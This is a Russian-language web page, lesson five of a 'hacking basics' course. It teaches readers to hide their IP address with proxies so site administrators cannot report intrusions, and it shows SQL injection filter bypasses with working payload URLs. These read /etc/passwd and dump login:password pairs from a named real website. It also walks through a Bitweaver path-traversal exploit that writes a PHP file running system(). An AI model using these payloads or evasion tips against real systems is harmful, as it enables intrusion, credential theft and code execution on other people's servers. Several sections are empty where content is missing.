Вступление.
Привет. Вот и пришло время 5 урока «Основ хакерства».
В этой части я хотел бы уделить внимание нашей безопасности.
Наверное это нужно было разобрать немного раньше. Ведь данный аспект является очень важным.
Так же в этом уроке я начну повествовать об анализе php движков.
Еще мы разберем такую тему, как DoS/DDoS. Напоследок дебютирует новый топик «Прогулка по багтракам»

Cоntent:

 

  • Безопасность при взломе.
     
  • Установка движка и азы анализа
     
  • DoS и DDOS общие принципы.
     
  • Sql injection

  •  
  • Прогулка по багтракам.
     



    Безопасность при взломе.
    Это действительно важно.
    Если администратор сайта обнаружит твой реальный ip адрес,
    он без проблем сможет сообщить о проникновении твоему провайдеру.
    А дальше как повезет.
    Итак, сначала стоит разобрать, как сохраняются твои данные.
    Логи ведет веб сервер. Он записывает фактически все телодвижение пользователей.
    Вот например если в логах будет замечена такая строка:


    65.234.112.11- - [13/Jan/2019:14:23:57 +0300] "GET /scripts/photo?id=1’ " 404 - "-" "-"


    Сразу станет ясно что пользователь с адресом 65.234.112.11 пытался проверить параметр id на инъекцию.
    Вообще нам важны логи ошибок (ErrorLog) и основные логи.
    В ErrorLog хранятся данные ошибочных запросов. В httpd.conf(файл конфигурации веб сервера)
    путь к ним можно найти по директиве ErrorLog.
    В основном логе находятся все запросы к серверу. Его можно найти по директиве CustomLog.
    Ну что ж более или менее понятно.
    По сути наша задача это подменить айпи адрес. Ведь именно он нас палит.
    Как факт изменить свой ip нельзя. Но! Его можно скрыть или ПОДменить.
    Каким образом? С помощью прокси серверa.

    Прокси-сервер (от англ. proxy — «представитель, уполномоченный») — служба в компьютерных сетях,
    позволяющая клиентам выполнять косвенные запросы к другим сетевым службам

    Проще говоря, мы сначала будем подключаться к прокси серверу и уже от туда делать запросы к жертве.
    Естественно в логах целевого сайта будет светится айпи прокси сервера. Так то. Теперь по порядку:
    Бывают паблик (публичные) прокси.
    Бывают приватные прокси (только для избранных).
    Как думаю ясно первые можно легко найти в сети. Со вторыми сложнее. Если хочешь приобрести такие нужно платить.
    Собственно в чем разница то? Паблик прокси медленные, т.к. их юзает куча народу.
    Приватные более быстрые. Вот собственно и все.
    Вот несколько источников бесплатных прокси северов:

    www.checker.freeproxy.ru/checker/last_checked_proxies.php
    www.madnet.name/tools/proxy/
    www.proxylife.org/proxy/

    Ах да… забыли о главном – как же их использовать?
    Натягивать их нужно на свой браузер. Разберем на примере троих:
     


     


    Ну, на этом пока все. В будущем расскажу про анонимайзеры и цепочки прокси.

    Установка и анализ движка.
    Незаменимым атрибутом веб хакера является умения анализировать и находить ошибки в php скриптах.
    Учиться этому мы начнем уже с этого урока.
    Итак, сначала нужно подготовить платформу для тестирования.
    Кажется, в прошлой статье я упоминал, что мы будем работать с Денвером.
    Денвер это набор дистрибутивов (Apache, PHP, MySQL, Perl и т.д.) и программная оболочка.
    Все дело в том, что для его установки не нужно производить практически не каких телодвижений
    (в отличии от отдельной установки php apche mysql), но зато теряется гибкость.
    Итак, вам нужно скачать
    denwer и установить его.
    Платформу можно считать готовой На примере wordpress 2.3

    я покажу, как установить движок.

    Итак, после скачивания нужно создать в папке home (Денвера) директорию bugsite11.us
    Далее распаковать в эту папку скачанный пакет.
    Теперь необходимо создать базу данных. Для этого нужно зайти в phpmyadmin.
    Если Денвер запущен, пройдите по этому пути

    http://localhost/Tools/phpmyadmin/index.php

    Далее в поле «Создать новую базу данных» введите wordpress и нажмите создать. Все.
    Теперь переходи по адресу bugsite11.us. Если все было сделано правильно вы увидите главную страницу инсталлятора wordpress.
    Пройдите несколько шагов. Когда потребуется ввести данные в поле база данных нужно ввести wordpress в поле пользователь – root, поле пароля оставляем пустым. Сервер – localhost. Все. Теперь можете перейти по адресу bugsite11.us и вы увидите готовенький для
    тестинга сайт на локалхосте.
    Как видите установить двиг не сложно. Теперь по делу.
    Сейчас я поведаю чисто поверхностную информацию об анализе скриптов.
     

    На этом я закончу. Хочу что бы вы потренировались в установке движков на localhost. В следующем уроке мы
    потихоньку начнем разбирать основные ошибки php программистов.

    DoS и DDOS общие принципы.
    Бывает, что нужный нам сайт недоступен. Браузер говорит нам, что сервер не отвечает.
    Это может происходить вследствие DDOS атаки на сервер.
    Немного понятий:


    SQL injection
     

    На прошлом уроке мы говорили о такой вещи как магические кавычки. Я в общем рассказал что это.
    Сейчас мы разберем как можно обойти эти самые кавычки.

    Во-первых, можно использовать функцию char. Эта функция преобразовывает ASCII (аск) код в символы.
    ASCII код это код символа. У каждого символа есть свой код. Например, у символа одинарной кавычки код 27.
    Таблицу кодов можно найти
    здесь
    Итак, функция char преобразовывает эти коды в символы, т.е. например:
    Char(27,27)
    Вернет нам две одинарные кавычки.
    Кстати зная коды символов можно сделать так:

    Зажать клавишу alt и набрать 0 и код символа.
    Например, alt+077 выведет нам букву M.
    Так же можно выводить некоторые специфические знаки вроде знака копирайта – alt+0169)

    Вернемся к нашим скулям:

    www.site.us/index.php?id=+union+select+1,LOAD_FILE(‘/etc/passwd’),4,5,6,7,8,9,10/*


    Если ты забыл, то мы пытаемся загрузить файл /etc/passwd (файл со списком аккаунтов)
    Часто кавычки режутся. А что если сделать так:

    www.site.us/index.php?id=+union+select+1,LOAD_FILE(char(27,47,101,116,99,47,112,97,115,119,100)),
    4,5,6,7,8,9,10/*

    Кавычки закодированы, значит все ок.
    Еще можно обойти фильтрация путем замены исходной строки аналогичной ей, только в хекс(hex) варианте (в шестнадцатеричном варианте).
    Причем перед строкой нужно подставить знак 0x. Смотрим на примере:
    Берем исходную строку '/etc/passwd'. Опять же идем на сайт www.x3k.ru выбираем раздел SQL Hex и вписываем строку
    На выходе 0x5c272f6574632f7061737377645c27
    В нашем примере это будет так:

    www.site.us/index.php?id=+union+select+1,LOAD_FILE(0x5c272f6574632f7061737377645c27),4,5,6,7,8,9,10/*

    concat_ws.
    Для лучшего понимания возьмем реальный пример:

    http://www.photoworld.kz/index.php?mod=photos&cathid=-25+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,
    32,33,34,35,36+from+auth--+

    Видим, что только одно читабельное поле – 2. Скажу наперед, что поле логина – login, а пароля – pwd.
    Итак, наша задача скомбинировать эти два поля и вывести в удобном виде. Делается это с помощью функции concat_ws:

    concat_ws(0x3a,login,pwd)

    Первый аргумент это разделитель между полями. 0x3a записан в sql hex, в ASCII это будет : (знак двоеточия), т.е. вывод произойдет такой:

    Login:pwd

    Вот еще пример:

    concat_ws(0x2d,login,pwd)

    0x2d означает тире (-)

    Login-pwd

    А вот как это будет выглядеть в нашем случае:

    http://www.photoworld.kz/index.php?mod=photos&cathid=-25+union+select+1,concat_ws(0x3a,login,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
    22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+from+auth--+

    По сути, польза не большая, но так удобней и изящней. Мы ж эстеты =)
    Так с этим ясно. Что дальше? В следующем уроке я расскажу о записи файлов с помощью инжектов.
    И наверное, на этом покончу повествования об основах. Т.к. далее продолжать бессмысленно. В Интернете очень много статей об этом,
    а азы вы уже знаете. В уроках я буду рассказывать о каких то нестандартных ситуациях, более подробно о языке mysql и тому подобные вещи.
    А сейчас продолжаем...

    Прогулка по багтракам.
    Еще немного об этом топике:
    Суть в том, что я буду выкладывать некоторые интересные уязвимости с багтраков.
    Так сказать примеры нахождения уязвимостей. Что это даст? Самое главное это понимание сути проблемы. Начнемсс...

    Уязвимость CMS Bitweaver 2.6
    www.securitylab.ru/vulnerability/380079.php
    Итак, уязвимость найдена в CMS Bitweaver 2.6.
    Бага позволяет нам создавать произвольные файлы в системе.
    посмотрев сплоит, понимаем что:
    Уязвимость присутствует в сценарии boards_rss.php - строка 102:

    ...
    echo $rss->saveFeed( $rss_version_name, $cacheFile );


    В этом куске функция saveFeed вызывается небезопасно.
    Аргументы не проверяются и могут содержать символы обхода каталога ../(см урок 3)
    Данные получаются так:

    Переменная=$_REQUEST['version']


    Теперь посмотрим собственно на саму функцию saveFeed в /RSS/ feedcreator.class.php

    ...
    function saveFeed($filename="", $displayContents=true) {
    if ($filename=="") {
    $filename = $this->_generateFilename();
    }
    if ( !is_dir( dirname( $filename ))) {
    mkdir( dirname( $filename ));// создаем каталог
    }
    $feedFile = fopen($filename, "w+"); // открываем файл для записи (w+)
    if ($feedFile) {
    fputs($feedFile,$this->createFeed()); пишем в файл информацию
    fclose($feedFile);// закрываем файл
    if ($displayContents) {
    $this->_redirect($filename);
    }
    } else {
    echo "
    Error creating feed file, please check write permissions.
    ";
    }
    }

    }
    ...

    Тут попросту происходит сохранение файла.
    Постараюсь объяснить функции, приведенные в этом коде:
    dirname – возвращает каталог из указанного пути. Например, есть путь /home/hockfuke/text.c
    Функция вернет /home/hockfuke/
    is_dir – проверяет является ли файл каталогом.
    Mkdir – создает каталог
    Fopen – открывает файл
    Fputs – пишет в файл.

    Теперь собственно сам пример использования:

    http://sitename/path/boards/boards_rss.php?version=/../../../../bookoo.php%00

    С NULL байтом вы уже знакомы, он обрубает остальную часть запроса.
    Параметр version мы как раз получали с помощью $_REQUEST.
    Собственно ясно, что будет создать файл heck.php. Функция сохранения файлa была приведена выше.
    Как помним наш подопытный это rss скрипт. Созданный файл будет таким:

    [?xml version="1.0" encoding="UTF-8"?]
    [!-- generator="FeedCreator 1.7.2" --]
    [?xml-stylesheet href="http://www.w3.org/2000/08/w3c-synd/style.css" type="text/css"?]
    [rss version="0.91"]
    [channel]
    [title> Feed[/title]
    [description][/description]
    [link]http://192.168.0.1[/link]
    [lastBuildDate]Sat, 09 Sep 2009 20:01:44 +0100[/lastBuildDate]
    [generator]FeedCreator 1.7.2[/generator]
    [language]en-us[/language]
    [/channel]
    [/rss]
    [/code]

    Собственно нам то нужно выполнить код. Вот что заметили багоискатели:
    Для выполнения кода можно создать учетную запись на сайте и в Display Name (ну имя) вписать код:

    [?php system("ls –al");?]

    system выполняет команду в системе.
    Теперь делаем так:

    http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../bookoo_ii.php%00&U=юзернэйм&P=пароль

    На сервере появится тот же файл но уже вместо [title] Feed [/ TITLE] будет [title] Feed ([?php system("ls –al");?>[/TITLE].

    Подведем маленький итог. Ошибка заключался опять же в отсутствии фильтрации.
    Из-за чего можно у нас появилась возможность создать собственный файл и выполнить в нем код. Т.к. displayname тоже не проверялось.

    Конец.
    Ну вот подошел к концу 5 урок.
    Сегодня я приводил много исходных кодов. Хочу, что бы вы поняли, что это основа.
    И уметь программировать просто необходимо.
    Что дальше? Думаю, на следующем уроке мы продолжим знакомиться с анализом движков.
    Так же я расскажу еще кое-что о твоей безопасности. На этом все.
    Все уголковые скобки заменены на [ and ]
  •  

    Поздравляю, теперь ты в праве называть себя хакером!

     

    на Главную

    Хостинг от uCoz